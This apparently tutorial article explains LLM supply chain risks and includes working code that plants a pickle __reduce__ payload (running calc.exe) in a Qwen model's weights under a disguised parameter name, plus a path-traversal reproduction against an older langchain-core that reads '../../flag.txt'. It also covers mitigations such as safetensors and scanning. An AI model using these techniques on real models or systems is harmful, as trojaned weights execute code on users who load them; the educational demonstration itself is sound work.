LLM Supply Chain Vulnerabilities

Overview

A supply chain refers to the entire pipeline from raw material preparation, to production, to shipping, and finally to the recipient’s usage. In the context of the internet, the supply chain encompasses the entire process from development, to distribution, to user download and usage. Supply chain security refers to the security throughout this whole process, such as vulnerabilities in plugins used during software development, vulnerable third-party components, compromised dependency libraries, etc.—essentially, any security issue occurring at any node within the chain.

Note that vulnerabilities originating from the software itself are not considered supply chain issues; supply chain issues are those introduced by external components like libraries, frameworks, plugins, dependencies, etc.

It’s like if your own cooking tastes bad, that’s not a supply chain problem, but if the vegetables you bought are spoiled, that is a supply chain problem.

In the AI domain, supply chain security covers the entire lifecycle of AI, including all steps and components from development, deployment, to maintenance—such as data collection, algorithm development, model training, model deployment, and model maintenance.

Examples include pre-trained models implanted with backdoors, issues with third-party training data (like data poisoning summarized earlier), and third-party extensions and ecosystems (like insecure plugins summarized earlier). All these fall under supply chain problems.

For details on data poisoning and insecure plugins, refer to previous articles. Here, we will test two scenarios: one involving model backdoor implantation and another concerning third-party dependency issues.

Model Backdoor Implantation

Many open-source models are trained on the PyTorch framework. The default model weight formats are .pt, .bin, etc., and these formats utilize the pickle module from Python’s standard library. pickle can serialize and deserialize objects, and it has a mechanism during deserialization that allows execution of specific code via the __reduce__ magic method.

Model training and saving is essentially a serialization process, converting Python objects into binary byte streams stored on disk, and model loading corresponds to deserialization. Therefore, for PyTorch models, backdoors can be implanted through this mechanism.

Before we begin, let’s test pickle serialization and deserialization to facilitate understanding. The serialization code is as follows:

import pickle
import os

class BadGuy:
    def __reduce__(self):
        return (os.system, ("calc.exe",))

# Serialize, equivalent to saving as a model file
with open("bad.bin", "wb") as f:
    pickle.dump(BadGuy(), f)

print("Malicious file generated: bad.bin")

Executing this will generate a .bin file. The deserialization code is as follows:

import pickle

# Deserialize, equivalent to loading a model file
with open("bad.bin", "rb") as f:
    data = pickle.load(f)

print("Loading completed")

When executed, the __reduce__ method within the .bin file will be automatically invoked. Now let’s test with a model.

We’ll use Qwen1.5’s 0.5B version as an example. The approach is to download this model, inject a malicious class into the model’s layer structure, and generate a new model. Note: for security reasons, Hugging Face now largely avoids models in .bin format, requiring the safer safetensors format, which does not execute any code.

After downloading the Qwen model, it defaults to safetensors, but when saving, we will save it in .bin format. The code is as follows:

import torch
from transformers import AutoModelForCausalLM, AutoConfig
import os
import sys


model_id = "Qwen/Qwen1.5-0.5B"
model = AutoModelForCausalLM.from_pretrained(model_id)

# Extract state dictionary
state_dict = model.state_dict()

# Create a trojan
class TrojanPayload:
    def __reduce__(self):
        return (os.system, ("calc.exe",))

# Find a real parameter node for injection
# Qwen's real layer structure includes model.layers.0.mlp.down_proj.weight
# We inject a highly realistic meta data node next to it
state_dict["model.layers.0.mlp.down_proj.bias_metadata_v2"] = TrojanPayload()

# Save as a .bin file; note safetensors files do not execute code
torch.save(state_dict, os.path.join("./", "pytorch_model.bin"))

# Save the config file so that the transformers library recognizes this model
model.config.save_pretrained("./")

print("eval model success")

After execution, a pytorch_model.bin file and a config.json configuration file will appear in the current directory. Then we load the model using torch, which triggers code execution during loading:

import torch

try:
    weights = torch.load("./pytorch_model.bin", weights_only=False)
    print("hack model load success")
except Exception as e:
    print(f"error: {e}")

Effect as shown:

Note above we used torch for loading; it’s also possible to load via transformers, code as follows:

from transformers import AutoModelForCausalLM

try:
    model = AutoModelForCausalLM.from_pretrained("./")
    print("hack model load success")
except Exception as e:
    print(f"error: {e}")

However, newer versions of transformers added a check that verifies the PyTorch version. If PyTorch is below 2.6, it forbids calling load to load the model, because PyTorch 2.6 and above implemented security protections that only load data portions and do not execute relevant instructions.

My PyTorch version was below 2.6, so loading threw an error; transformers prevented the model call.

If one needs to load a .bin model, tools like modelscan can be used for security scanning. However, attackers might encode or encrypt the backdoor, evading detection. In such cases, loading the model inside a sandboxed virtual machine with network disconnected and using Wireshark for packet analysis is recommended.

Third-Party Dependency Issues

Next, let’s examine a scenario involving a third-party library, taking LangChain as an example. LangChain is a framework for creating intelligent agents that can integrate models and define tools the model can invoke. First, let’s explore a basic LangChain usage.

Install the relevant libraries:

pip install langchain langchain-community langchain-experimental

Then we use LangChain to call a local model, and define a toolset with a Python execution tool, PythonREPLTool, which is built into LangChain. We then instruct the model to perform mathematical calculations. If relying solely on the model, it’s essentially randomly predicting the next token, making it hard to get results. Thus, it leverages the Python tool to write and execute code to obtain the result. Code as follows:

from langchain_community.chat_models import ChatOllama
from langchain_experimental.agents.agent_toolkits import create_python_agent
from langchain_experimental.tools import PythonREPLTool

# Call the local model
llm = ChatOllama(model="qwen2.5-coder:7b", temperature=0.1)

# Prepare the toolbox: here we only include one Python execution tool
# PythonREPLTool's function: receive Python code written by the LLM, execute it on the server, and return the result.
python_tool = PythonREPLTool()

# Combine the LLM and tools to create an Agent
agent = create_python_agent(
    llm=llm,
    tool=python_tool
)

# User's question
user_question = "Use Python to print the first 10 numbers of the Fibonacci sequence."

print(f"\n👤 [User]: {user_question}")

# Execute the task
try:
    agent.invoke({"input": user_question})
except Exception as e:
    print(f"Execution error: {e}")

After understanding basic LangChain usage, we replicate a vulnerability, CVE-2026-34070. When loading a configuration file, LangChain does not validate the path, allowing directory traversal to read arbitrary files. Affected versions are below 1.2.22. Suppose our AI code includes LangChain; this becomes a supply chain issue. First, set up a Python virtual environment for testing:

# Create virtual environment
python -m venv langchain_cve
# Activate virtual environment
langchain_cve\Scripts\activate
# Install the vulnerable specific version
pip install langchain-core==1.2.21

Then run the following script. The configuration file path is placed in a parent directory above the script, accessed via ../../. Code:

import os
from langchain_core.prompts.loading import load_prompt_from_config

malicious_config = {
    "_type": "prompt",
    "template_path": "../../flag.txt",
    "input_variables": []
}

try:
    # When the vulnerability exists, it directly loads the flag file from the parent directory as the Prompt
    prompt = load_prompt_from_config(malicious_config)
    print(">>>", prompt.template)
except Exception as e:
    print("fail", e)

Running this successfully reads the content of the corresponding file, as shown:

Next, upgrade LangChain:

pip install --upgrade langchain-core

After upgrading, running the script shows that cross-directory reading is prohibited, as illustrated:

Summary

According to the boundary definition of supply chain issues, as long as the vulnerability is not introduced by the developer’s own code, it falls under supply chain issues.

This concludes the content on LLM supply chain vulnerabilities. Thank you for reading.